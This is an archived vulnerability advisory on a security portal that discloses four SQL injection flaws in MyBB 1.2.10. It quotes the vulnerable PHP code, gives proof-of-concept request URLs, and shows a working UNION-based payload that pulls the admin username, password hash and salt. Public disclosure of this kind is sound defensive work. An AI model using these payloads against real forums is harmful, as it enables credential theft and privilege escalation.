Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 2, 2010
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 urlaxe services
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 LifeDork
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: soresger
New Today: 4
New Yesterday: 3
Overall: 6561

People Online:
Visitors: 88
Members: 5
Total: 93

Online Now:
01: Alexiron - Forums
02: annonym - Forums
03: niailuo - Forums
04: skmpz - Forums
05: soresger - Forums
milw0rm
Currently there is a problem with headlines from this site
PacketStorm News
·USN-956-1.txt
·USN-930-3.txt
·disableaslrarm-shellcode. txt
·sumatrapdf-dos.txt
·joomlamyblogcontroller-lf i.txt
·ninkobb-xsrf.txt
·adobearpushstring-corrupt .txt
·adobearnewfunction-corrup t.txt
·adobearnewclass-corrupt.t xt
·adobear1023-overflow.txt

read more...
Security Basics
·Re: Linux or Unix distribution for network sniffing
·iPhone/iPad Application D evelopment - Android Mobi le Application Development
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Is there any way to test the health of a solid state drive?
·Re: Socks Tunnel over SSH
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing

read more...
[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10





Author: Janek Vind "waraxe"
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-62.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "moderation.php" action "do_mergeposts"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

From source code of "moderation.php" line ~438:

-------------------------------------------------------------------------------
// Lets merge those selected posts!
case "do_mergeposts":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$plugins->run_hooks("moderation_do_mergeposts");
$mergepost = $mybb->input['mergepost'];
if(count($mergepost) <= 1)
{
error($lang->error_nomergeposts);
}

foreach($mergepost as $pid => $yes)
{
$plist[] = $pid;
}

$moderation->merge_posts($plist, $tid, $mybb->input['sep']);
-------------------------------------------------------------------------------

As seen above, unsanitized array variable 'mergepost' from GPC is delivered to
function "merge_posts()" as first argument - "$plist".

Source code of "merge_posts":
-------------------------------------------------------------------------------
function merge_posts($pids, $tid, $sep="new_line")
{
global $db, $plugins;

$pidin = implode(",", $pids);
$first = 1;
// Get the messages to be merged
$query = $db->query("
SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM ".TABLE_PREFIX."posts p
LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid)
WHERE p.tid='$tid' AND p.pid IN($pidin)
ORDER BY dateline ASC
");
-------------------------------------------------------------------------------

It is obvious, that "$pids" argument will be used in sql query without any
sanitization. So sql injection security hole seems to exist here.

Let's try this proof of concept test:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[war]=1&mergepost[axe]=2

... and we can see sql error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid)
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC

Yes, indeed, sql injection exists and as bonus, we can determine from error
message additional piece of information, useful for sql injections -
table prefix. It can be different from "mybb_" and without knowing it we will
have trouble trying to fetch data from MyBB tables.

This was Proof-Of-Concept test, how about real attack example?
Here it is:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2

As result we can see sql error message:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ... line 1
Query: UPDATE mybb_users SET postnum=postnum-1
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''

Yeah - admin's username, password hash and salt, all in one line!

Now - mitigating factors. First of all, attacker must have moderator privileges,
including "canmanagethreads". So this sql injection security hole can be
used for privileges escalation from moderator to admin, if admin's password
is weak enough to be cracked with reasonable processing power and time.

Error feedback - if attacker can't see sql error messages, then this will not
stop the attack, it will be just harder to exploit and involves blind sql
injection attack methods.


2. SQL Injection in "moderation.php" action "allreports"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation.

Let's try:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'
+UNION+SELECT+waraxe--+

And we see error message:

MySQL error: 1054
Unknown column 'waraxe' in 'field list'
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE
rid <= '0' UNION SELECT waraxe-- '

Problematic code:

case "allreports":
if(is_moderator() != "yes")
{
error_no_permission();
}
...
if($mybb->input['rid'])
{
$query = $db->simple_select(TABLE_PREFIX."reportedposts",
"COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'");

This sql injection can ultimately lead to privilege escalation from
moderator level to admin level - as in previous case.


3. SQL Injection in "moderation.php" action "do_multimovethreads"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

Let's issue this request:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads
&moveto=2&threads=war|axe

Error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads
WHERE tid IN (war,axe)

Flawed piece of code:

case "do_multimovethreads":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$moveto = intval($mybb->input['moveto']);
$threadlist = explode("|", $mybb->input['threads']);
foreach($threadlist as $tid)
{
$tids[] = $tid;
}
...
$moderation->move_threads($tids, $moveto);

Similary to previous two cases, this sql injection can lead to privilege
escalation from moderator level to admin level within MyBB context.


4. SQL Injection in "admin/usergroups.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have admin privileges in MyBB context, therefore
risk level is low. Still, any non-superadmin can fetch any data from database,
including password hashes for other admins.

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[waraxe]=decline

Error:

MySQL error: 1054
Unknown column 'waraxe' in 'where clause'
Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid=''

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[-1]=decline
&gid='waraxe

Error:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near 'waraxe'' at line 1
Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe'

Reason - incoming variables "request" and "gid" are not properly sanitized
before using in sql queries.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download MyBB new version 1.2.11 as soon as possible!

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------










Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2008-01-16 (5686 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2341
pexli  pexli - 642
vince213333  vince213333 - 604
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 324
y3dips  y3dips - 281
lenny  lenny - 275
tehhunter  tehhunter - 261
SpyderMonkey  SpyderMonkey - 210

M$ Security Bulletins
Currently there is a problem with headlines from this site
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Adobe pushes out Flash security fix
·News: Most consumers reuse banking passwords

read more...
Vuln Watch
·VulnWatch

read more...
alexa
Incidents
·About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About

read more...



Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2008 Janek Vind "waraxe"

Page Generation: 0.099 Seconds